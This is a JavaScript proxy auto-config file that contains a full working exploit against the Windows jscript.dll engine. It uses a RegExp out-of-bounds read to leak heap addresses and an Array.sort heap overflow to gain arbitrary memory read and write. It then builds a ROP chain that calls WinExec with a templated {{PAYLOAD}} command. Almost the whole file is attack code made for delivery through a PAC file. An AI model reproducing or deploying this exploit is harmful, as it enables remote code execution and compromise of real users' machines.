|
function FindProxyForURL(url, host) { |
|
|
|
var payload = {{PAYLOAD}}; |
|
|
|
function alert(str) { |
|
//window.alert(str); |
|
Math.acos(str); |
|
} |
|
|
|
function prompt(str1, str2) { |
|
//window.prompt(str1, str2); |
|
Math.asin(str1 + ' : ' + str2); |
|
} |
|
|
|
var segmentheap = true; |
|
|
|
var lfharrsize = 342; |
|
var arrelements = 170; |
|
|
|
// tells us with which array index we'll be overwriting which object/hashtable entry |
|
// likely will be different for Segment Heap unless the space between allocations is same |
|
|
|
var arrindex1 = 181; |
|
var objindex1 = 98; |
|
var hash1 = 0x401; |
|
|
|
var arrindex2 = 182; |
|
var objindex2 = 232; |
|
var hash2 = 0x3c07; |
|
|
|
var arrindex3 = 183; |
|
var objindex3 = 238; |
|
var hash3 = 0x3c0d; |
|
|
|
var arrindex4 = 185; |
|
var objindex4 = 243; |
|
var hash4 = 0x3c19; |
|
|
|
var arrindex5 = 186; |
|
var objindex5 = 249; |
|
var hash5 = 0x3c1f; |
|
|
|
var straddress = 0; |
|
var strarr = new Array(1000); |
|
var exploitobj = 0; |
|
|
|
// fix various offsets if we are in nt heap and not segment heap |
|
function inntheap() { |
|
lfharrsize = 340; |
|
arrelements = 169; |
|
|
|
arrindex1 = 172; |
|
objindex1 = 234; |
|
hash1 = 0x3c09; |
|
|
|
arrindex2 = 175; |
|
objindex2 = 245; |
|
hash2 = 0x3c1b; |
|
|
|
arrindex3 = 177; |
|
objindex3 = 250; |
|
hash3 = 0x3c27; |
|
|
|
arrindex4 = 178; |
|
objindex4 = 256; |
|
hash4 = 0x3c2d; |
|
|
|
arrindex5 = 179; |
|
objindex5 = 3; |
|
hash5 = 0x33; |
|
} |
|
|
|
function qwordFromStr(str, index) { |
|
var cc1 = String.prototype.charCodeAt.call(str, index); |
|
var cc2 = String.prototype.charCodeAt.call(str, index+1); |
|
var cc3 = String.prototype.charCodeAt.call(str, index+2); |
|
var cc4 = String.prototype.charCodeAt.call(str, index+3); |
|
return cc1 + 65536 * cc2 + 4294967296 * cc3 + 281474976710656 * cc4; |
|
} |
|
|
|
function dwordFromStr(str, index) { |
|
var cc1 = String.prototype.charCodeAt.call(str, index); |
|
var cc2 = String.prototype.charCodeAt.call(str, index+1); |
|
return cc1 + 65536 * cc2; |
|
} |
|
|
|
function qwordToStr(value) { |
|
return String.fromCharCode(value % 65536, Math.floor(value/65536) % 65536, Math.floor(value/4294967296) % 65536, Math.floor(value/281474976710656)); |
|
} |
|
|
|
function dwordToStr(value) { |
|
return String.fromCharCode(value % 65536, Math.floor(value/65536) % 65536); |
|
} |
|
|
|
function isAddress(value) { |
|
if(value > 140737488355327) return false; |
|
return true; |
|
} |
|
|
|
function fakeVAR(name, hash, type, value, extra) { |
|
return String.fromCharCode(type,0,0,0) + qwordToStr(value) + String.fromCharCode(extra,0,0,0, 0,0,0,0) + dwordToStr(hash) + String.fromCharCode(name.length * 2, 0) + "aaaaaaaaaaaa" + name + String.fromCharCode(0,0,0,0).substr(0, 4-name.length) + "aaaa"; |
|
} |
|
|
|
// makes jscript believe that exploitobj[objindex1] is a string |
|
// whose data is on 'address' |
|
function fakeStringAt(address) { |
|
exploitobj[objindex1] = address * 4.9406564584124654E-324; |
|
exploitobj[objindex2] = exploitobj[objindex4]; |
|
} |
|
|
|
// warning warning warning: this will currently corrupt data around |
|
// (8 bytes before and 8 bytes after) the 8 bytes being written |
|
function write(address, data) { |
|
exploitobj[objindex1] = address * 4.9406564584124654E-324; |
|
exploitobj[objindex2] = exploitobj[objindex5]; |
|
exploitobj[objindex1] = 4.9406564584124654E-324 * data; |
|
} |
|
|
|
function readQword(address) { |
|
var offset = 0; |
|
while(1) { |
|
fakeStringAt(address - offset * 2); |
|
if(exploitobj[objindex1].length >= 4 + offset) { |
|
var ret = qwordFromStr(exploitobj[objindex1], offset); |
|
exploitobj[objindex2] = exploitobj[objindex3]; |
|
return ret; |
|
} |
|
offset += 1; |
|
} |
|
} |
|
|
|
//given an address that points somewhere inside a module |
|
//finds the base address of that module |
|
function getModuleBase(address) { |
|
var baseaddress = address - address % 0x10000; |
|
fakeStringAt(baseaddress + 4); |
|
while(exploitobj[objindex1].length % 0x8000 != 0x2d26) { |
|
baseaddress = baseaddress - 0x10000; |
|
fakeStringAt(baseaddress + 4); |
|
} |
|
return baseaddress; |
|
} |
|
|
|
//retrieves address of a Jscript object or string |
|
function getObjectAddress(object) { |
|
exploitobj[objindex1] = object; |
|
exploitobj[objindex2] = exploitobj[objindex3]; |
|
var objaddress1 = exploitobj[objindex1] / 4.9406564584124654E-324; |
|
return readQword(objaddress1 + 8); |
|
} |
|
|
|
//retrieves address of jscript.dll module in memory |
|
function getJscriptAddress() { |
|
var object = {}; |
|
var objaddress = getObjectAddress(object); |
|
var vtableaddress = readQword(objaddress); |
|
return getModuleBase(vtableaddress); |
|
} |
|
|
|
//loads the entire module in a jscript string and returns it |
|
function loadModuleInString(baseaddress) { |
|
stroffset = 4; |
|
fakeStringAt(baseaddress + stroffset); |
|
|
|
var coff = dwordFromStr(exploitobj[objindex1], (0x3C - stroffset)/2); |
|
var imgsize = dwordFromStr(exploitobj[objindex1], (coff + 4 + 20 + 56 - stroffset)/2); |
|
|
|
var ret = "MZ" + String.prototype.substr.call(exploitobj[objindex1], 0, (imgsize - stroffset)/2); |
|
|
|
exploitobj[objindex2] = exploitobj[objindex3]; |
|
|
|
return ret; |
|
} |
|
|
|
//searches for the iat inside a module and retrieves the |
|
//address at the specified index |
|
function getImport(str, iatindex) { |
|
var coff = dwordFromStr(str, 0x3C/2); |
|
var iat = dwordFromStr(str, (coff + 4 + 20 + 208)/2); |
|
return qwordFromStr(str, (iat + iatindex)/2); |
|
} |
|
|
|
//searches the export table for a specified name |
|
//note that in export table names are 8-bit strings while |
|
//in jscript strings are 16-bits. This is why 2 names need to |
|
//be provided which correspond to 16-bit representations of the |
|
//name when read from index 0 or at index 1 |
|
function findExport(str, name1, name2) { |
|
var coff = dwordFromStr(str, 0x3C/2); |
|
var exportdir = dwordFromStr(str, (coff + 4 + 20 + 112)/2); |
|
var numentries = dwordFromStr(str, (exportdir + 24)/2); |
|
var nameptrs = dwordFromStr(str, (exportdir + 32)/2); |
|
|
|
var index = -1; |
|
for(var i=0; i<numentries; i++) { |
|
var nameptr = dwordFromStr(str, (nameptrs + i*4)/2); |
|
if(nameptr % 2 == 0) { |
|
if(str.substr(nameptr/2, name1.length) == name1) { |
|
index = i; |
|
break; |
|
} |
|
} else { |
|
if(str.substr(Math.floor(nameptr/2)+1, name2.length) == name2) { |
|
index = i; |
|
break; |
|
} |
|
} |
|
} |
|
if(index == -1) { |
|
alert('error finding export entry'); |
|
return 0; |
|
} |
|
var rvas = dwordFromStr(str, (exportdir + 28)/2); |
|
var rva = dwordFromStr(str, (rvas + index*4)/2); |
|
return rva; |
|
} |
|
|
|
//writes an array of values at the specified address |
|
//note that 16 bits immediately before address are going to get corrupted |
|
function writeArray(address, arr) { |
|
//prepare fake vars with payload in the last 8 bytes |
|
var fakeVARs = ""; |
|
for(var i=0; i<arr.length; i++) { |
|
fakeVARs += String.fromCharCode(3,0,0,0,3,0,0,0) + qwordToStr(arr[i]); |
|
} |
|
fakeVARs1 = fakeVARs.substr(0, fakeVARs.length); |
|
var fakeVARsaddr = getObjectAddress(fakeVARs1); |
|
for(var i=arr.length-1; i>=0; i--) { |
|
var dstaddress = address + 8*i - 16; |
|
var fakeVARaddr = fakeVARsaddr + i*24; |
|
|
|
//read fake var |
|
exploitobj[objindex1] = fakeVARaddr * 4.9406564584124654E-324; |
|
exploitobj[objindex2] = exploitobj[objindex5]; |
|
var datavar = exploitobj[objindex1]; |
|
exploitobj[objindex2] = exploitobj[objindex3]; |
|
|
|
//write fake var |
|
exploitobj[objindex1] = dstaddress * 4.9406564584124654E-324; |
|
exploitobj[objindex2] = exploitobj[objindex5]; |
|
exploitobj[objindex1] = datavar; |
|
exploitobj[objindex2] = exploitobj[objindex3]; |
|
} |
|
} |
|
|
|
function writeArray_trampoline(address, arr) { |
|
writeArray(address, arr); |
|
} |
|
|
|
//executes windows command given address of winexec and some ROP gagdets |
|
function callWinExec(command, winexec, ret, poprcxret, poprdxret) { |
|
var cmdaddr = getObjectAddress(command); |
|
var roparr = [ret, poprcxret, cmdaddr, poprdxret, 1, winexec]; |
|
//var roparr = [0x42424242, 0x43434343, 0x44444444]; |
|
|
|
//leak stack |
|
var object = {}; |
|
var objaddress1 = getObjectAddress(object); |
|
|
|
var objaddress2 = readQword(objaddress1 + 24); |
|
var stackaddress = readQword(objaddress2 + 80); |
|
|
|
exploitobj[objindex2] = exploitobj[objindex3]; |
|
|
|
prompt('stackaddress', stackaddress.toString(16)); |
|
|
|
writeArray_trampoline(stackaddress-0x78, roparr); |
|
//writeArray_trampoline(stackaddress+0x188, roparr); |
|
} |
|
|
|
function doStuff() { |
|
//demonstrates arbitrary write |
|
//write(0x4141414141, 0x4242424242); |
|
|
|
//demonstrates arbitrary read |
|
//fakeStringAt(0x4141414141); |
|
//alert(exploitobj[objindex1].length); |
|
|
|
CollectGarbage(); |
|
|
|
var jscriptaddress = getJscriptAddress(); |
|
|
|
var jscriptstr = loadModuleInString(jscriptaddress); |
|
|
|
var virtualprotect = getImport(jscriptstr, 320); |
|
|
|
var kernel32 = getModuleBase(virtualprotect); |
|
|
|
var kernel32str = loadModuleInString(kernel32); |
|
|
|
var kernelbase = getImport(kernel32str, 0); |
|
|
|
kernelbase = getModuleBase(kernelbase); |
|
|
|
kernelbasestr = loadModuleInString(kernelbase); |
|
|
|
//find ROP gadgets |
|
var gadget = kernelbasestr.indexOf(String.fromCharCode(0xccc3), 0x1000/2); |
|
if(gadget == -1) { |
|
alert('Error finding ROP gadgets 1'); |
|
return 0; |
|
} |
|
var ret = kernelbase + gadget * 2; |
|
|
|
var gadget = kernelbasestr.indexOf(String.fromCharCode(0x1459, 0xc300), 0x1000/2); |
|
if(gadget == -1) { |
|
alert('Error finding ROP gadgets for pop rcx'); |
|
gadget = kernelbasestr.indexOf(String.fromCharCode(0x7559, 0xb806, 0x0005, 0x0000, 0xB8C3), 0x1000/2); |
|
if(gadget == -1) { |
|
alert('Error finding second gadget for pop rcx'); |
|
return 0; |
|
} |
|
} |
|
var poprcxret = kernelbase + gadget * 2; |
|
|
|
var gadget = kernelbasestr.indexOf(String.fromCharCode(0x145a, 0xc300), 0x1000/2); |
|
if(gadget == -1) { |
|
alert('Error finding ROP gadgets for pop rdx'); |
|
gadget = kernelbasestr.indexOf(String.fromCharCode(0x665A, 0x0005, 0xC33B), 0x1000/2); |
|
if(gadget == -1) { |
|
alert('Error finding second gadget for pop rdx'); |
|
return 0; |
|
} |
|
} |
|
var poprdxret = kernelbase + gadget * 2; |
|
|
|
var winexec = kernel32 + findExport(kernel32str, String.fromCharCode(0x6957, 0x456e, 0x6578), String.fromCharCode(0x6e69, 0x7845, 0x6365)); |
|
|
|
//callWinExec(String.fromCharCode(0x6d63,0x0064), winexec, ret, poprcxret, poprdxret); |
|
callWinExec(payload, winexec, ret, poprcxret, poprdxret); |
|
|
|
alert('done'); |
|
} |
|
|
|
function infoleak() { |
|
//alert('infoleak start'); |
|
|
|
// make a string of 20000 bytes or larger |
|
var str = "aaaaaaaaaa"; |
|
while(str.length < 10000) str = str + str; |
|
|
|
// allocate a lot of strings |
|
for(var i=0; i<1000; i++) { |
|
strarr[i] = str.substr(0,10000); |
|
} |
|
|
|
// free half of the strings |
|
for(var i=0; i<500; i++) { |
|
strarr[i*2] = 1; |
|
} |
|
|
|
// actually free the strings |
|
CollectGarbage(); |
|
|
|
// trigger out of bounds read of 20080 bytes from a 20000-byte string |
|
var r= new RegExp(Array(42).join('()')); |
|
strarr[737].search(r); |
|
RegExp.input = 0x2738; |
|
var leak = RegExp.lastParen; |
|
if(leak.length != 0x2738) { |
|
alert('infoleak failed 1'); |
|
return 0; |
|
} |
|
if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2734) != 0x61)) { |
|
alert('infoleak failed 2'); |
|
return 0; |
|
} |
|
if((leak.charCodeAt(0x2724) == 0x61) && (leak.charCodeAt(0x2727) == 0x61)) { |
|
alert('nt heap detected'); |
|
segmentheap = false; |
|
inntheap(); |
|
} |
|
if(segmentheap) { |
|
//straddress = qwordFromStr(leak, 10024) + 16; |
|
//straddress = qwordFromStr(leak, 10028) + 16; |
|
straddress = qwordFromStr(leak, 10032) + 16; |
|
} else { |
|
straddress = qwordFromStr(leak, 10012) + 8; |
|
} |
|
if(!isAddress(straddress)) { |
|
alert('infoleak failed'); |
|
return 0; |
|
} |
|
|
|
var str2 = "aaaaaaaa" + fakeVAR(objindex1.toString(), hash1, 3, 1337, 0) + fakeVAR(objindex2.toString(), hash2, 0x400c, straddress, 0) + fakeVAR(objindex3.toString(), hash3, 3, 1339, 5) + fakeVAR(objindex4.toString(), hash4, 3, 1340, 8) + fakeVAR(objindex5.toString(), hash5, 3, 1341, 0x400c) + str; |
|
|
|
for(var i=0; i<500; i++) { |
|
strarr[i*2] = str2.substr(0,10000); |
|
} |
|
|
|
prompt('infoleak address: ', straddress.toString(16)); |
|
|
|
return 1; |
|
} |
|
|
|
function overflow() { |
|
//alert('overflow start'); |
|
|
|
// enable LFH for allocations with size ~0x2000 |
|
// function.apply causes malloc (array size * 24) & free to be called |
|
function lfhf() { return 1; } |
|
var lfharr = new Array(lfharrsize); |
|
for(var i=0;i<5000;i++) { |
|
lfhf.apply({}, lfharr); |
|
} |
|
|
|
// create array to call sort on |
|
// 169 elements because (169 + 1)*48 = 0x0x1fe0 so it should fall in the same LFH bucket as 0x2000 |
|
var arr = new Array(300); |
|
for(var i=0; i<arrelements; i++) arr[i] = "a"; |
|
|
|
// allocate some object whose hashtables we're going to overwrite. Currently their hashtables are 0x400 bytes each |
|
// but we'll change that soon |
|
var objects = new Array(2000); |
|
for(var i=0; i<2000; i++) { |
|
var o = {}; |
|
for(var j=0; j<512; j++) o[j] = j; |
|
objects[i] = o; |
|
} |
|
|
|
// o2's toString mehod just checks if we successfully overflowed the buffer |
|
var o2 = {toString:function() { |
|
//alert('entering o2.toString'); |
|
for(var i=0; i<2000; i++) { |
|
if(objects[i][objindex1] == 1337) { |
|
exploitobj = objects[i]; |
|
alert('we win'); |
|
doStuff(); |
|
} |
|
} |
|
|
|
alert('returning from o2.toString. This shouldn\'t be reached'); |
|
return 'a'; |
|
}}; |
|
|
|
var o = {toString:function() { |
|
// cause some more objects to rehash which allocates a 0x2000 hashtable |
|
// hopefully one of them is going to be adjacent to the overflowed buffer |
|
for(var i=1000; i<2000; i++) { |
|
objects[i][512] = 512; |
|
} |
|
// add new elements to arr which will cause a buffer overflow once we return to JsArrayStringHeapSort |
|
for(var i=arrelements;i<300;i++) { |
|
arr[i] = 4.9406564584124654E-324 * 0x4141414141; |
|
} |
|
arr[arrindex1] = 4.9406564584124654E-324 * (straddress + 16); |
|
arr[arrindex2] = 4.9406564584124654E-324 * (straddress + 80 + 16); |
|
arr[arrindex3] = 4.9406564584124654E-324 * (straddress + 80 * 2 + 16); |
|
arr[arrindex4] = 4.9406564584124654E-324 * (straddress + 80 * 3 + 16); |
|
arr[arrindex5] = 4.9406564584124654E-324 * (straddress + 80 * 4 + 16); |
|
// don't forget the last element so we can actually exploit this |
|
// if we let JsArrayStringHeapSort return we'll just get a crash on free() of the overflowed buffer |
|
arr[299] = o2; |
|
return 'a'; |
|
}}; |
|
|
|
arr[0] = o; |
|
|
|
CollectGarbage(); |
|
|
|
// cause objects to rehash which allocates a 0x2000 hashtable |
|
// hopefully one of them is going to be adjacent to the overflowed buffer |
|
for(var i=0; i<1000; i++) { |
|
objects[i][512] = 512; |
|
} |
|
Array.prototype.sort.call(arr); |
|
} |
|
|
|
if(infoleak() == 1) { |
|
overflow(); |
|
} |
|
|
|
return "DIRECT"; |
|
} |